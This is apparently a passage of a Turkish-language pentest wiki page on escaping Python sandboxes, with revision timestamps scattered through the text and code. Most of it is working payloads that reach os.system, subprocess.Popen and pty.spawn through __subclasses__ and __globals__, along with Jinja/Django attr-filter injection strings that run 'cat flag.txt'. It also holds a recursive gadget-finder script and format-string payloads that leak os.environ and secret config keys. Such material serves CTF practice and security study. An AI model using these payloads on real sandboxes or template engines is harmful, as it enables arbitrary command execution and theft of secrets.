< class ' _weakrefset . WeakSet ' > , < class ' threading . _RLock ' > , < class ' threading . Condition ' > , < class ' threading . Semaphore ' > , < class ' threading . Event ' > , < class ' threading . Barrier ' > , < class ' threading . Thread ' > , < class ' subprocess . CompletedProcess ' > , < class ' subprocess . Popen ' > ]
2021-06-25 13:52:40 +00:00
```
2024-03-09 13:19:34 +00:00
[**Aşağı da daha büyük bir fonksiyon** ](./#recursive-search-of-builtins-globals ) **bulabileceğiniz onlarca/yüzlerce yer** bulmak için.
2021-06-25 13:52:40 +00:00
2024-03-09 13:19:34 +00:00
## Keyfi Yürütme Keşfi
2021-06-24 23:53:47 +00:00
2024-03-09 13:19:34 +00:00
Burada, **daha tehlikeli işlevlerin yüklendiğini kolayca keşfetmenin** ve daha güvenilir saldı rı ları önermenin nası l olduğunu açı klamak istiyorum.
2021-06-25 13:39:46 +00:00
2024-03-09 13:19:34 +00:00
#### Atlatmalarla alt sı nı flara erişme
2021-06-25 13:39:46 +00:00
2024-03-09 13:19:34 +00:00
Bu teknikte en hassas kı sı mlardan biri, **temel alt sı nı flara erişebilmektir** . Önceki örneklerde bunu `''.__class__.__base__.__subclasses__()` kullanarak yapmı ştı k ancak **başka mümkün yollar** da vardı r:
2021-06-25 13:39:46 +00:00
```python
#You can access the base from mostly anywhere (in regular conditions)
2021-10-06 00:19:16 +00:00
"".__class__.__base__.__subclasses__()
2021-06-25 13:39:46 +00:00
[].__class__.__base__.__subclasses__()
{}.__class__.__base__.__subclasses__()
().__class__.__base__.__subclasses__()
2021-10-06 00:19:16 +00:00
(1).__class__.__base__.__subclasses__()
2021-06-25 13:39:46 +00:00
bool.__class__.__base__.__subclasses__()
2021-10-06 00:19:16 +00:00
print.__class__.__base__.__subclasses__()
open.__class__.__base__.__subclasses__()
defined_func.__class__.__base__.__subclasses__()
2021-06-25 13:39:46 +00:00
#You can also access it without "__base__" or "__class__"
2022-05-01 12:41:36 +00:00
# You can apply the previous technique also here
2021-06-25 13:39:46 +00:00
"".__class__.__bases__[0].__subclasses__()
"".__class__.__mro__[1].__subclasses__()
"".__getattribute__("__class__").mro()[1].__subclasses__()
"".__getattribute__("__class__").__base__.__subclasses__()
2023-11-12 23:00:08 +00:00
# This can be useful in case it is not possible to make calls (therefore using decorators)
().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]() # From https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/pyjails#no-builtins-no-mro-single-exec
2022-09-12 21:12:49 +00:00
#If attr is present you can access everything as a string
# This is common in Django (and Jinja) environments
2021-06-25 13:39:46 +00:00
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
```
2024-03-09 13:19:34 +00:00
### Tehlikeli kütüphanelerin yüklenmesini bulma
2021-06-25 13:39:46 +00:00
2024-03-09 13:19:34 +00:00
Örneğin, ** `sys` ** kütüphanesi ile **keyfi kütüphanelerin yüklenebileceğini** bildiğinizde, içinde **sys** kütüphanesini içe aktaran tüm **yüklenmiş modülleri** arayabilirsiniz:
2021-06-24 23:53:47 +00:00
```python
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
```
2024-03-09 13:19:34 +00:00
Çok fazla var, ve **sadece bir tanesine ihtiyacı mı z var** komutları yürütmek için:
2021-06-24 23:53:47 +00:00
```python
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
```
2024-03-09 13:19:34 +00:00
Aynı şeyi yapabiliriz, sadece **diğer kütüphanelerle** biliriz ki **komutları yürütmek** için kullanı labilir:
2021-06-24 23:53:47 +00:00
```python
#os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
2021-10-06 00:19:16 +00:00
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" == x.__init__.__globals__["__name__"] ][0]["system"]("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'os." in str(x) ][0]['system']('ls')
#subprocess
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" == x.__init__.__globals__["__name__"] ][0]["Popen"]("ls")
[ x for x in ''.__class__.__base__.__subclasses__() if "'subprocess." in str(x) ][0]['Popen']('ls')
[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen' ][0]('ls')
#builtins
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "__bultins__" in x.__init__.__globals__ ]
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls")
#sys
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")
2021-06-24 23:53:47 +00:00
#commands (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")
2021-10-06 00:19:16 +00:00
2021-06-24 23:53:47 +00:00
#pty (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")
2021-10-06 00:19:16 +00:00
2021-06-24 23:53:47 +00:00
#importlib
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")
2021-10-06 00:19:16 +00:00
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")
#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
2021-06-24 23:53:47 +00:00
```
2024-03-09 13:19:34 +00:00
Ayrı ca, hangi modüllerin kötü amaçlı kütüphaneleri yüklediğini bile araştı rabiliriz:
2021-06-24 23:53:47 +00:00
```python
2021-10-06 00:19:16 +00:00
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
2021-06-24 23:53:47 +00:00
for b in bad_libraries_names:
2024-02-10 18:14:16 +00:00
vuln_libs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and b in x.__init__.__globals__ ]
print(f"{b}: {', '.join(vuln_libs)}")
2021-06-24 23:53:47 +00:00
"""
os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations
2024-02-10 18:14:16 +00:00
commands:
2021-06-24 23:53:47 +00:00
subprocess: BaseDependency, Origin, Version, Package
2024-02-10 18:14:16 +00:00
pty:
2021-06-24 23:53:47 +00:00
importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path
2024-02-10 18:14:16 +00:00
imp:
2021-06-24 23:53:47 +00:00
sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature
2021-10-06 00:19:16 +00:00
pdb:
2021-06-24 23:53:47 +00:00
"""
```
2024-03-09 13:19:34 +00:00
Ayrı ca, eğer **diğer kütüphanelerin** de **komutları yürütmek için fonksiyonları çağı rabileceğini düşünüyorsanı z** , olası kütüphanelerin içindeki fonksiyon isimlerine göre de **filtreleme yapabiliriz** :
2021-06-24 23:53:47 +00:00
```python
2021-10-06 00:19:16 +00:00
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
2021-06-25 13:52:40 +00:00
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
2021-06-24 23:53:47 +00:00
for b in bad_libraries_names + bad_func_names:
2024-02-10 18:14:16 +00:00
vuln_funcs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) for k in x.__init__.__globals__ if k == b ]
print(f"{b}: {', '.join(vuln_funcs)}")
2021-06-24 23:53:47 +00:00
"""
os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations
2024-02-10 18:14:16 +00:00
commands:
2021-06-24 23:53:47 +00:00
subprocess: BaseDependency, Origin, Version, Package
2024-02-10 18:14:16 +00:00
pty:
2021-06-24 23:53:47 +00:00
importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path
2024-02-10 18:14:16 +00:00
imp:
2021-06-24 23:53:47 +00:00
sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature
2021-10-06 00:19:16 +00:00
pip:
pdb:
2021-06-24 23:53:47 +00:00
system: _wrap_close, _wrap_close
getstatusoutput: CompletedProcess, Popen
getoutput: CompletedProcess, Popen
call: CompletedProcess, Popen
Popen: CompletedProcess, Popen
2024-02-10 18:14:16 +00:00
spawn:
import_module:
2021-06-24 23:53:47 +00:00
__import__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec
load_source: NullImporter, _HackedGetData
2024-02-10 18:14:16 +00:00
execfile:
execute:
2021-06-24 23:53:47 +00:00
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPReq
```
2024-03-09 13:19:34 +00:00
## Yinelemeli Arama Yapı sı : Builtins, Globals...
2021-10-06 00:19:16 +00:00
{% hint style="warning" %}
2024-03-09 13:19:34 +00:00
Bu sadece **harika** . Eğer **globals, builtins, open veya herhangi bir nesne arı yorsanı z** , bu betiği kullanarak **bu nesneyi bulabileceğiniz yerleri yinelemeli olarak bulabilirsiniz.**
2021-10-06 00:19:16 +00:00
{% endhint %}
```python
2021-10-06 10:13:49 +00:00
import os, sys # Import these to find more gadgets
2021-10-06 09:54:56 +00:00
2021-10-06 00:19:16 +00:00
SEARCH_FOR = {
2024-02-10 18:14:16 +00:00
# Misc
"__globals__": set(),
"builtins": set(),
"__builtins__": set(),
"open": set(),
# RCE libs
"os": set(),
"subprocess": set(),
"commands": set(),
"pty": set(),
"importlib": set(),
"imp": set(),
"sys": set(),
"pip": set(),
"pdb": set(),
# RCE methods
"system": set(),
"popen": set(),
"getstatusoutput": set(),
"getoutput": set(),
"call": set(),
"Popen": set(),
"popen": set(),
"spawn": set(),
"import_module": set(),
"__import__": set(),
"load_source": set(),
"execfile": set(),
"execute": set()
2021-10-06 00:19:16 +00:00
}
2022-09-12 21:12:49 +00:00
#More than 4 is very time consuming
2021-10-06 00:19:16 +00:00
MAX_CONT = 4
2022-09-12 21:12:49 +00:00
#The ALREADY_CHECKED makes the script run much faster, but some solutions won't be found
2021-10-06 00:19:16 +00:00
#ALREADY_CHECKED = set()
def check_recursive(element, cont, name, orig_n, orig_i, execute):
2024-02-10 18:14:16 +00:00
# If bigger than maximum, stop
if cont > MAX_CONT:
return
# If already checked, stop
#if name and name in ALREADY_CHECKED:
# return
# Add to already checked
#if name:
# ALREADY_CHECKED.add(name)
# If found add to the dict
for k in SEARCH_FOR:
if k in dir(element) or (type(element) is dict and k in element):
SEARCH_FOR[k].add(f"{orig_i}: {orig_n}.{name}")
# Continue with the recursivity
for new_element in dir(element):
try:
check_recursive(getattr(element, new_element), cont+1, f"{name}.{new_element}", orig_n, orig_i, execute)
# WARNING: Calling random functions sometimes kills the script
# Comment this part if you notice that behaviour!!
if execute:
try:
if callable(getattr(element, new_element)):
check_recursive(getattr(element, new_element)(), cont+1, f"{name}.{new_element}()", orig_i, execute)
except:
pass
except:
pass
# If in a dict, scan also each key, very important
if type(element) is dict:
for new_element in element:
check_recursive(element[new_element], cont+1, f"{name}[{new_element}]", orig_n, orig_i)
2021-10-06 00:19:16 +00:00
def main():
2024-02-10 18:14:16 +00:00
print("Checking from empty string...")
total = [""]
for i,element in enumerate(total):
print(f"\rStatus: {i}/{len(total)}", end="")
cont = 1
check_recursive(element, cont, "", str(element), f"Empty str {i}", True)
print()
print("Checking loaded subclasses...")
total = "".__class__.__base__.__subclasses__()
for i,element in enumerate(total):
print(f"\rStatus: {i}/{len(total)}", end="")
cont = 1
check_recursive(element, cont, "", str(element), f"Subclass {i}", True)
print()
print("Checking from global functions...")
total = [print, check_recursive]
for i,element in enumerate(total):
print(f"\rStatus: {i}/{len(total)}", end="")
cont = 1
check_recursive(element, cont, "", str(element), f"Global func {i}", False)
print()
print(SEARCH_FOR)
2021-10-06 00:19:16 +00:00
if __name__ == "__main__":
2024-02-10 18:14:16 +00:00
main()
2021-10-06 00:19:16 +00:00
```
2024-02-10 18:14:16 +00:00
Bu betiğin çı ktı sı nı bu sayfada kontrol edebilirsiniz:
2021-10-06 10:13:49 +00:00
2024-03-09 13:19:34 +00:00
{% content-ref url="broken-reference/" %}
[broken-reference ](broken-reference/ )
2021-10-18 11:21:18 +00:00
{% endcontent-ref %}
2021-10-06 10:13:49 +00:00
2024-03-09 13:19:34 +00:00
## Python Biçim Dizesi
2022-08-31 22:35:39 +00:00
2024-03-09 13:19:34 +00:00
Eğer python'a **biçimlendirilecek bir dize gönderirseniz** , `{}` kullanarak **python iç bilgilerine erişebilirsiniz** . Örneğin, globals veya builtins'e erişmek için önceki örnekleri kullanabilirsiniz.
2021-10-06 09:50:35 +00:00
{% hint style="info" %}
2024-03-09 13:19:34 +00:00
Ancak, bir **kı sı tlama** bulunmaktadı r, yalnı zca `.[]` sembollerini kullanabilirsiniz, bu nedenle **keyfi kodları yürütemezsiniz** , yalnı zca bilgi okuyabilirsiniz.\
_**Bu zafiyet aracı lı ğı yla kod yürütme konusunda bilgi sahibiyseniz, lütfen benimle iletişime geçin.**_
2021-10-06 09:50:35 +00:00
{% endhint %}
```python
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
CONFIG = {
2024-02-10 18:14:16 +00:00
"KEY": "ASXFYFGK78989"
2021-10-06 09:50:35 +00:00
}
class PeopleInfo:
2024-02-10 18:14:16 +00:00
def __init__ (self, fname, lname):
self.fname = fname
self.lname = lname
2021-10-06 09:50:35 +00:00
def get_name_for_avatar(avatar_str, people_obj):
2024-02-10 18:14:16 +00:00
return avatar_str.format(people_obj = people_obj)
2021-10-06 09:50:35 +00:00
people = PeopleInfo('GEEKS', 'FORGEEKS')
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)
```
2024-03-09 13:19:34 +00:00
Dikkat edin ki bir nesnenin özelliklerine **nokta** ile normal bir şekilde erişebilirsiniz, örneğin `people_obj.__init__` , ve **parantez** içinde tı rnak olmadan **sözlük elemanları na** erişebilirsiniz, `__globals__[CONFIG]`
2021-10-06 09:50:35 +00:00
2024-03-09 13:19:34 +00:00
Ayrı ca bir nesnenin elemanları nı numaralandı rmak için `.__dict__` kullanabilirsiniz, `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
2021-10-06 12:43:31 +00:00
2024-03-09 13:19:34 +00:00
Biçim dizelerinden diğer ilginç özelliklerden biri, belirtilen nesnede ** `str` **, ** `repr` ** ve ** `ascii` ** fonksiyonları nı ** `!s` **, ** `!r` **, ** `!a` ** ekleyerek **çalı ştı rma** olası lı ğı dı r:
2021-10-06 12:43:31 +00:00
```python
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people)
```
2024-03-09 13:19:34 +00:00
Ayrı ca, sı nı flarda **yeni biçimleyiciler kodlamak mümkündür** :
2021-10-06 12:43:31 +00:00
```python
class HAL9000(object):
2024-02-10 18:14:16 +00:00
def __format__ (self, format):
if (format == 'open-the-pod-bay-doors'):
return "I'm afraid I can't do that."
return 'HAL 9000'
2021-10-06 12:43:31 +00:00
'{:open-the-pod-bay-doors}'.format(HAL9000())
#I'm afraid I can't do that.
```
2024-02-10 18:14:16 +00:00
**Daha fazla örnek** **format** **dizisi** örnekleri [**https://pyformat.info/** ](https://pyformat.info ) adresinde bulunabilir.
2021-10-06 12:43:31 +00:00
2023-06-06 22:57:49 +00:00
{% hint style="danger" %}
2024-03-09 13:19:34 +00:00
Ayrı ca, Python dahili nesnelerden **duyarlı bilgileri okuyacak** araçlar için aşağı daki sayfayı da kontrol edin:
2023-06-06 22:57:49 +00:00
{% endhint %}
{% content-ref url="../python-internal-read-gadgets.md" %}
[python-internal-read-gadgets.md ](../python-internal-read-gadgets.md )
{% endcontent-ref %}
2024-03-09 13:19:34 +00:00
### Duyarlı Bilgi Açı ğı nı Ortaya Çı karan Yükler
2021-10-06 09:50:35 +00:00
```python
{whoami.__class__.__dict__}
{whoami.__globals__[os].__dict__}
{whoami.__globals__[os].environ}
{whoami.__globals__[sys].path}
{whoami.__globals__[sys].modules}
# Access an element through several links
{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}
```
2024-02-10 18:14:16 +00:00
## Python Nesnelerini İnceleme
2021-10-06 00:19:16 +00:00
2021-10-06 14:43:31 +00:00
{% hint style="info" %}
2024-03-09 13:19:34 +00:00
Python bytecode hakkı nda derinlemesine bilgi edinmek istiyorsanı z, bu konu hakkı nda harika bir yazı yı okuyun: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d** ](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d )
2021-10-06 14:43:31 +00:00
{% endhint %}
2020-07-15 15:43:14 +00:00
2024-03-09 13:19:34 +00:00
Bazı CTF'lerde, bayrağı n bulunduğu özel bir fonksiyonun adı verilebilir ve bayrağı çı karmak için fonksiyonun iç yapı sı nı görmek gerekebilir.
2020-07-15 15:43:14 +00:00
2024-03-09 13:19:34 +00:00
İncelenmesi gereken fonksiyon:
2020-07-15 15:43:14 +00:00
```python
def get_flag(some_input):
2024-02-10 18:14:16 +00:00
var1=1
var2="secretcode"
var3=["some","array"]
if some_input == var2:
return "THIS-IS-THE-FALG!"
else:
return "Nope"
